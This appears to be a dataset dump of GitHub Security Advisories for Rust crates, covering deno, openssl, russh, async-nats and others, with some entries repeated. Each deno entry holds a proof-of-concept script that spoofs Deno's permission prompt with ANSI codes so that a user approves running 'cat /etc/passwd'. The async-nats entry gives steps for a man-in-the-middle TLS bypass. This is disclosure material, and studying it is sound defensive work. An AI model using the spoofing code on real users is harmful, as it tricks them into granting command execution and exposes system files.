deardaniel/secdata-raw huggingface dataset:
GitHub Security Advisory: GHSA-vq67-rp93-65qf
Package: deno (RUST)
Severity: HIGH (CVSS 8.8)
CWE: CWE-150: Improper Neutralization of Escape, Meta, or Control Sequences
Vulnerable versions: >= 1.8.0, < 1.31.2
Patched in: 1.31.2

Summary: Interactive `run` permission prompt spoofing via improper ANSI neutralization

Details:
### Summary
Arbitrary program names without any ANSI filtering allows any malicious program to clear the first 2 lines of a `op_spawn_child` or `op_kill` prompt and replace it with any desired text.

### Details

The main entry point comes down to the ability to override what the API control says ([40_process.js](https://github.com/denoland/deno/blob/7d13d65468c37022f003bb680dfbddd07ea72173/runtime/js/40_process.js#L175)). Because of ANSI code's ability to clear lines, a malicious program can clear the last 2 lines of the prompt and put their own header. This also works in `op_kill`.

### PoC

This PoC works on 1.31.1, but modified versions of it work on older versions.

Make a file, e.g. `index.ts`, that uses this vulnerability to spoof the `op_spawn_child` permission prompt

```ts
const boldANSI = "\u001b[1m" // bold
const unboldANSI = "\u001b[22m" // unbold

const prompt = `┌ ⚠️  ${boldANSI}Deno requests run access to "echo"${unboldANSI}
├ Requested by \`Deno.Command().output()`

const moveANSIUp = "\u001b[1A" // moves to the start of the line
const clearANSI = "\u001b[2K" // clears the line
const moveANSIStart = "\u001b[1000D" // moves to the start of the line

Deno[Object.getOwnPropertySymbols(Deno)[0]].core.ops.op_spawn_child({
    cmd: "cat",
    args: ["/etc/passwd"],
    clearEnv: false,
    env: [],
    stdin: "null",
    stdout: "inherit",
    stderr: "piped"
}, moveANSIUp + clearANSI + moveANSIStart + prompt)
```

Run the file with `deno run index.ts`.

### Impact
Any Deno program is able to spoof the interactive permission prompt for the `op_spawn_child` or the `op_kill` action (which indirectly gives access to all run commands) by overriding the `Requested by {message} API` with their own ANSI codes, allowing them to clear the latter prompt and change it to whatever they needed:

```
// Expected Prompt
┌ ⚠️  Deno requests run access to "cat"
├ Requested by `Deno.Command().output()` API
├ Run again with --allow-run to bypass this prompt.
└ Allow? [y/n/A] (y = yes, allow; n = no, deny; A = allow all run permissions) >

// Actual Prompt
┌ ⚠️  Deno requests run access to "echo"
├ Requested by `Deno.Command().output()` API
├ Run again with --allow-run to bypass this prompt.
└ Allow? [y/n/A] (y = yes, allow; n = no, deny; A = allow all run permissions) >
```

This works with any command on the respective platform, giving the program the full ability to choose what program they wanted to run.

This problem can not be exploited on systems that do not attach an interactive prompt (for example headless servers).

Before `v1.31.0`, this requires the `--unstable` flag.
GitHub Security Advisory: GHSA-vq67-rp93-65qf
Package: deno_runtime (RUST)
Severity: HIGH (CVSS 8.8)
CWE: CWE-150: Improper Neutralization of Escape, Meta, or Control Sequences
Vulnerable versions: >= 1.8.0, < 1.31.2
Patched in: 1.31.2

Summary: Interactive `run` permission prompt spoofing via improper ANSI neutralization

Details:
### Summary
Arbitrary program names without any ANSI filtering allows any malicious program to clear the first 2 lines of a `op_spawn_child` or `op_kill` prompt and replace it with any desired text.

### Details

The main entry point comes down to the ability to override what the API control says ([40_process.js](https://github.com/denoland/deno/blob/7d13d65468c37022f003bb680dfbddd07ea72173/runtime/js/40_process.js#L175)). Because of ANSI code's ability to clear lines, a malicious program can clear the last 2 lines of the prompt and put their own header. This also works in `op_kill`.

### PoC

This PoC works on 1.31.1, but modified versions of it work on older versions.

Make a file, e.g. `index.ts`, that uses this vulnerability to spoof the `op_spawn_child` permission prompt

```ts
const boldANSI = "\u001b[1m" // bold
const unboldANSI = "\u001b[22m" // unbold

const prompt = `┌ ⚠️  ${boldANSI}Deno requests run access to "echo"${unboldANSI}
├ Requested by \`Deno.Command().output()`

const moveANSIUp = "\u001b[1A" // moves to the start of the line
const clearANSI = "\u001b[2K" // clears the line
const moveANSIStart = "\u001b[1000D" // moves to the start of the line

Deno[Object.getOwnPropertySymbols(Deno)[0]].core.ops.op_spawn_child({
    cmd: "cat",
    args: ["/etc/passwd"],
    clearEnv: false,
    env: [],
    stdin: "null",
    stdout: "inherit",
    stderr: "piped"
}, moveANSIUp + clearANSI + moveANSIStart + prompt)
```

Run the file with `deno run index.ts`.

### Impact
Any Deno program is able to spoof the interactive permission prompt for the `op_spawn_child` or the `op_kill` action (which indirectly gives access to all run commands) by overriding the `Requested by {message} API` with their own ANSI codes, allowing them to clear the latter prompt and change it to whatever they needed:

```
// Expected Prompt
┌ ⚠️  Deno requests run access to "cat"
├ Requested by `Deno.Command().output()` API
├ Run again with --allow-run to bypass this prompt.
└ Allow? [y/n/A] (y = yes, allow; n = no, deny; A = allow all run permissions) >

// Actual Prompt
┌ ⚠️  Deno requests run access to "echo"
├ Requested by `Deno.Command().output()` API
├ Run again with --allow-run to bypass this prompt.
└ Allow? [y/n/A] (y = yes, allow; n = no, deny; A = allow all run permissions) >
```

This works with any command on the respective platform, giving the program the full ability to choose what program they wanted to run.

This problem can not be exploited on systems that do not attach an interactive prompt (for example headless servers).

Before `v1.31.0`, this requires the `--unstable` flag.
GitHub Security Advisory: GHSA-3gxf-9r58-2ghg
Package: openssl (RUST)
Severity: MODERATE (CVSS 0.0)
Vulnerable versions: >= 0.9.7, < 0.10.48
Patched in: 0.10.48

Summary: `openssl` `X509NameBuilder::build` returned object is not thread safe

Details:
OpenSSL has a `modified` bit that it can set on on `X509_NAME` objects. If this bit is set then the object is not thread-safe even when it appears the code is not modifying the value.

Thanks to David Benjamin (Google) for reporting this issue.
GitHub Security Advisory: GHSA-9qwg-crg9-m2vc
Package: openssl (RUST)
Severity: HIGH (CVSS 0.0)
Vulnerable versions: >= 0.9.7, < 0.10.48
Patched in: 0.10.48

Summary: `openssl` `SubjectAlternativeName` and `ExtendedKeyUsage::other` allow arbitrary file read

Details:
`SubjectAlternativeName` and `ExtendedKeyUsage` arguments were parsed using the OpenSSL function `X509V3_EXT_nconf`. This function parses all input using an OpenSSL mini-language which can perform arbitrary file reads.

Thanks to David Benjamin (Google) for reporting this issue.
GitHub Security Advisory: GHSA-6hcf-g6gr-hhcr
Package: openssl (RUST)
Severity: HIGH (CVSS 0.0)
CWE: CWE-476: NULL Pointer Dereference
Vulnerable versions: >= 0.9.7, < 0.10.48
Patched in: 0.10.48

Summary: `openssl` `X509Extension::new` and `X509Extension::new_nid` null pointer dereference

Details:
These functions would crash when the context argument was None with certain extension types.

Thanks to David Benjamin (Google) for reporting this issue.
GitHub Security Advisory: GHSA-8vxc-r5wp-vgvc
Package: versionize (RUST)
Severity: MODERATE (CVSS 5.7)
CWE: CWE-125: Out-of-bounds Read
Vulnerable versions: >= 0.1.1, < 0.1.10
Patched in: 0.1.10

Summary: Versionize::deserialize implementation for FamStructWrapper<T> is lacking bound checks, potentially leading to out of bounds memory accesses

Details:
### Impact

An issue was discovered in the `Versionize::deserialize` implementation provided by the `versionize` crate for `vmm_sys_util::fam::FamStructWrapper`, which can lead to out of bounds memory accesses.

### Patches

The impact started with version 0.1.1. The issue was corrected in version 0.1.10 by inserting a check that verifies, for any deserialized header, the lengths of compared flexible arrays are equal and aborting deserialization otherwise.

### Workarounds
\-

### References
- https://github.com/firecracker-microvm/versionize/pull/53
GitHub Security Advisory: GHSA-f5v5-ccqc-6w36
Package: async-nats (RUST)
Severity: MODERATE (CVSS 0.0)
Vulnerable versions: < 0.29.0
Patched in: 0.29.0

Summary: async-nats vulnerable to TLS certificate common name validation bypass

Details:
The NATS official Rust clients are vulnerable to MitM when using TLS.

The common name of the server's TLS certificate is validated against the `host`name provided by the server's plaintext `INFO` message during the initial connection setup phase. A MitM proxy can tamper with the `host` field's value by substituting it with the common name of a valid certificate it controls, fooling the client into accepting it.

## Reproduction steps

1. The NATS Rust client tries to establish a new connection
2. The connection is intercepted by a MitM proxy
3. The proxy makes a separate connection to the NATS server
4. The NATS server replies with an `INFO` message
5. The proxy reads the `INFO`, alters the `host` JSON field and passes the tampered `INFO` back to the client
6. The proxy upgrades the client connection to TLS, presenting a certificate issued by a certificate authority present in the client's keychain. In the previous step the `host` was set to the common name of said certificate
7. `rustls` accepts the certificate, having verified that the common name matches the attacker-controlled value it was given
8. The client has been fooled by the MitM proxy into accepting the attacker-controlled certificate
GitHub Security Advisory: GHSA-255r-3prx-mf99
Package: rmp-serde (RUST)
Severity: MODERATE (CVSS 0.0)
Vulnerable versions: < 1.1.1
Patched in: 1.1.1

Summary: `rmp-serde` `Raw` and `RawRef` may crash when receiving invalid UTF-8

Details:
It was found that `Raw::from_utf8` expects valid UTF-8. If invalid UTF-8 is received it can cause the process to crash.
GitHub Security Advisory: GHSA-ppjr-267j-5p9x
Package: stb_image (RUST)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-476: NULL Pointer Dereference
Vulnerable versions: < 0.2.5
Patched in: 0.2.5

Summary: NULL pointer derefernce in `stb_image`

Details:
A bug in error handling in the `stb_image` C library could cause a NULL pointer dereference when attempting to load an invalid or unsupported image file.  This is fixed in version 0.2.5 and later of the `stb_image` Rust crate, by patching the C code to correctly handle NULL pointers.
GitHub Security Advisory: GHSA-cqvm-j2r2-hwpg
Package: russh (RUST)
Severity: MODERATE (CVSS 5.9)
CWE: CWE-20: Improper Input Validation, CWE-347: Improper Verification of Cryptographic Signature
Vulnerable versions: >= 0.37.0, < 0.37.1
Patched in: 0.37.1

Summary: russh may use insecure Diffie-Hellman keys

Details:
### Summary

Diffie-Hellman key validation is insufficient, which can lead to insecure shared secrets and therefore breaks confidentiality.

### Details

Russh does not validate Diffie-Hellman keys.

It accepts received DH public keys $e$ where $e<0$, $e=1$, or $e \geq p-1$ from a misbehaving peer annd successfully performs key exchange.

This is a violation of [RFC 4253, section 8](https://www.rfc-editor.org/rfc/rfc4253#section-8) and [RFC 8268, section 4](https://www.rfc-editor.org/rfc/rfc8268#section-4), which state that:

>DH Public Key values MUST be checked and both conditions:
>
> - $1 < e < p-1$
> - $1 < f < p-1$
>
> MUST be true.  Values not within these bounds MUST NOT be sent or
> accepted by either side.  If either one of these conditions is
> violated, then the key exchange fails.

For example, a DH client public key $e=1$ would mean that the shared secret that the server calculates is always $K = e^y \mod{p} = 1^y \mod{p} = 1$.
In other cases, an insecure order-2 subgroup may be used.

Also, the code does not look like it ensures that the generated secret key $y$ is in the valid interval $0 < y < q$ (or, if russh is the client, that the secret key $x$ satisfies $1 < x < q$):
https://github.com/warp-tech/russh/blob/master/russh/src/kex/dh/groups.rs#L72-L76
For example, `rng.gen_biguint()` might return a number consisting of zeroes, so that $y = 0$.

The public key is not validated either:
https://github.com/warp-tech/russh/blob/master/russh/src/kex/dh/groups.rs#L78-L81

### Impact

Due to the issues in the DH key generation, I think any connection that uses Diffie-Hellman key exchange is affected.
Connections between a russh client and server or those of a russh peer with some other misbehaving peer are most likely to be problematic. These may vulnerable to eavesdropping.

Most other implementations reject such keys, so this is mainly an interoperability issue in such a case.
GitHub Security Advisory: GHSA-cqvm-j2r2-hwpg
Package: russh (RUST)
Severity: MODERATE (CVSS 5.9)
CWE: CWE-20: Improper Input Validation, CWE-347: Improper Verification of Cryptographic Signature
Vulnerable versions: < 0.36.2
Patched in: 0.36.2

Summary: russh may use insecure Diffie-Hellman keys

Details:
### Summary

Diffie-Hellman key validation is insufficient, which can lead to insecure shared secrets and therefore breaks confidentiality.

### Details

Russh does not validate Diffie-Hellman keys.

It accepts received DH public keys $e$ where $e<0$, $e=1$, or $e \geq p-1$ from a misbehaving peer annd successfully performs key exchange.

This is a violation of [RFC 4253, section 8](https://www.rfc-editor.org/rfc/rfc4253#section-8) and [RFC 8268, section 4](https://www.rfc-editor.org/rfc/rfc8268#section-4), which state that:

>DH Public Key values MUST be checked and both conditions:
>
> - $1 < e < p-1$
> - $1 < f < p-1$
>
> MUST be true.  Values not within these bounds MUST NOT be sent or
> accepted by either side.  If either one of these conditions is
> violated, then the key exchange fails.

For example, a DH client public key $e=1$ would mean that the shared secret that the server calculates is always $K = e^y \mod{p} = 1^y \mod{p} = 1$.
In other cases, an insecure order-2 subgroup may be used.

Also, the code does not look like it ensures that the generated secret key $y$ is in the valid interval $0 < y < q$ (or, if russh is the client, that the secret key $x$ satisfies $1 < x < q$):
https://github.com/warp-tech/russh/blob/master/russh/src/kex/dh/groups.rs#L72-L76
For example, `rng.gen_biguint()` might return a number consisting of zeroes, so that $y = 0$.

The public key is not validated either:
https://github.com/warp-tech/russh/blob/master/russh/src/kex/dh/groups.rs#L78-L81

### Impact

Due to the issues in the DH key generation, I think any connection that uses Diffie-Hellman key exchange is affected.
Connections between a russh client and server or those of a russh peer with some other misbehaving peer are most likely to be problematic. These may vulnerable to eavesdropping.

Most other implementations reject such keys, so this is mainly an interoperability issue in such a case.
GitHub Security Advisory: GHSA-4rjr-3gj2-5crq
Package: mongodb (RUST)
Severity: MODERATE (CVSS 4.4)
CWE: CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
Vulnerable versions: >= 1.0.0, <= 2.0.0-alpha1
Patched in: 2.0.0-beta

Summary: Exposure of Sensitive Information to an Unauthorized Actor in MongoDB Rust Driver

Details:
Specific MongoDB Rust Driver versions can include credentials used by the connection pool to authenticate connections in the monitoring event that is emitted when the pool is created. The user's logging infrastructure could then potentially ingest these events and unexpectedly leak the credentials. Note that such monitoring is not enabled by default.
GitHub Security Advisory: GHSA-p7mj-xvxg-grff
Package: out-reference (RUST)
Severity: MODERATE (CVSS 0.0)
Vulnerable versions: >= 0.1.0, < 0.2.0
Patched in: 0.2.0

Summary: `out_reference::Out::from_raw` should be `unsafe`

Details:
`Out::from_raw` in affected versions allows writing a value to invalid memory address without requiring `unsafe`.

The soundness issue has been addressed by making `Out::from_raw` an unsafe function.
GitHub Security Advisory: GHSA-xm67-587q-r2vw
Package: cranelift-codegen (RUST)
Severity: LOW (CVSS 3.1)
CWE: CWE-193: Off-by-one Error
Vulnerable versions: >= 0.93.0, < 0.93.1
Patched in: 0.93.1

Summary: wasmtime vulnerable to miscompilation of `i8x16.select` with the same inputs on x86_64

Details:
### Impact

Wasmtime's code generation backend, Cranelift, has a bug on x86_64 platforms for the WebAssembly `i8x16.select` instruction which will produce the wrong results when the same operand is provided to the instruction and some of the selected indices are greater than 16. There is an off-by-one error  in the calculation of the mask to the `pshufb` instruction which causes incorrect results to be returned if lanes are selected from the second vector.

The impact of this miscompilation is that the WebAssembly instruction can produce incorrect results for the `i8x16.select` instruction. This should have no effect on embedders and does not represent a sandbox escape, for example. Guest programs, however, may behave unexpectedly due to the incorrect result of this instruction. In extreme cases if a guest program is handling untrusted input then the guest program may deviate from its intended execution, for example calling an imported host function with different arguments than intended. This still does not impact embedders, however, because there is no form of privilege escalation with the guest.

At this time it's expected that this codegen pattern doesn't show up in the wild that often. LLVM-generated modules, for example, do not appear to conventionally or idiomatically generate code which would hit this bug. It is possible, however, to still write code which triggers this, so it's recommended for embedders to analyze existing modules to see if any are affected.

### Patches

This codegen bug has been fixed in Wasmtime 6.0.1, 5.0.1, and 4.0.1. Users are recommended to upgrade to these updated versions.

### Workarounds

If upgrading is not an option for you at this time, you can avoid this miscompilation by [disabling the Wasm simd proposal](https://docs.rs/wasmtime/latest/wasmtime/struct.Config.html#method.wasm_simd)

```rust
config.wasm_simd(false);
```

Additionally the bug is only present on x86_64 hosts. Other platforms such as AArch64 and s390x are not affected.

### References

* [The WebAssembly simd proposal](https://github.com/webassembly/simd)
* [Mailing list announcement](https://groups.google.com/a/bytecodealliance.org/g/sec-announce/c/Mov-ItrNJsQ)
* [GitHub advisory](https://github.com/bytecodealliance/wasmtime/security/advisories/GHSA-xm67-587q-r2vw)
* [Commit to fix this issue on Wasmtime's `main` branch](https://github.com/bytecodealliance/wasmtime/commit/5dc2bbccbb363e474d2c9a1b8e38a89a43bbd5d1)

### For more information

If you have any questions or comments about this advisory:

* Reach out to us on [the Bytecode Alliance Zulip chat](https://bytecodealliance.zulipchat.com/#narrow/stream/217126-wasmtime)
* Open an issue in [the bytecodealliance/wasmtime repository](https://github.com/bytecodealliance/wasmtime/)
GitHub Security Advisory: GHSA-xm67-587q-r2vw
Package: cranelift-codegen (RUST)
Severity: LOW (CVSS 3.1)
CWE: CWE-193: Off-by-one Error
Vulnerable versions: >= 0.92.0, < 0.92.1
Patched in: 0.92.1

Summary: wasmtime vulnerable to miscompilation of `i8x16.select` with the same inputs on x86_64

Details:
### Impact

Wasmtime's code generation backend, Cranelift, has a bug on x86_64 platforms for the WebAssembly `i8x16.select` instruction which will produce the wrong results when the same operand is provided to the instruction and some of the selected indices are greater than 16. There is an off-by-one error  in the calculation of the mask to the `pshufb` instruction which causes incorrect results to be returned if lanes are selected from the second vector.

The impact of this miscompilation is that the WebAssembly instruction can produce incorrect results for the `i8x16.select` instruction. This should have no effect on embedders and does not represent a sandbox escape, for example. Guest programs, however, may behave unexpectedly due to the incorrect result of this instruction. In extreme cases if a guest program is handling untrusted input then the guest program may deviate from its intended execution, for example calling an imported host function with different arguments than intended. This still does not impact embedders, however, because there is no form of privilege escalation with the guest.

At this time it's expected that this codegen pattern doesn't show up in the wild that often. LLVM-generated modules, for example, do not appear to conventionally or idiomatically generate code which would hit this bug. It is possible, however, to still write code which triggers this, so it's recommended for embedders to analyze existing modules to see if any are affected.

### Patches

This codegen bug has been fixed in Wasmtime 6.0.1, 5.0.1, and 4.0.1. Users are recommended to upgrade to these updated versions.

### Workarounds

If upgrading is not an option for you at this time, you can avoid this miscompilation by [disabling the Wasm simd proposal](https://docs.rs/wasmtime/latest/wasmtime/struct.Config.html#method.wasm_simd)

```rust
config.wasm_simd(false);
```

Additionally the bug is only present on x86_64 hosts. Other platforms such as AArch64 and s390x are not affected.

### References

* [The WebAssembly simd proposal](https://github.com/webassembly/simd)
* [Mailing list announcement](https://groups.google.com/a/bytecodealliance.org/g/sec-announce/c/Mov-ItrNJsQ)
* [GitHub advisory](https://github.com/bytecodealliance/wasmtime/security/advisories/GHSA-xm67-587q-r2vw)
* [Commit to fix this issue on Wasmtime's `main` branch](https://github.com/bytecodealliance/wasmtime/commit/5dc2bbccbb363e474d2c9a1b8e38a89a43bbd5d1)

### For more information

If you have any questions or comments about this advisory:

* Reach out to us on [the Bytecode Alliance Zulip chat](https://bytecodealliance.zulipchat.com/#narrow/stream/217126-wasmtime)
* Open an issue in [the bytecodealliance/wasmtime repository](https://github.com/bytecodealliance/wasmtime/)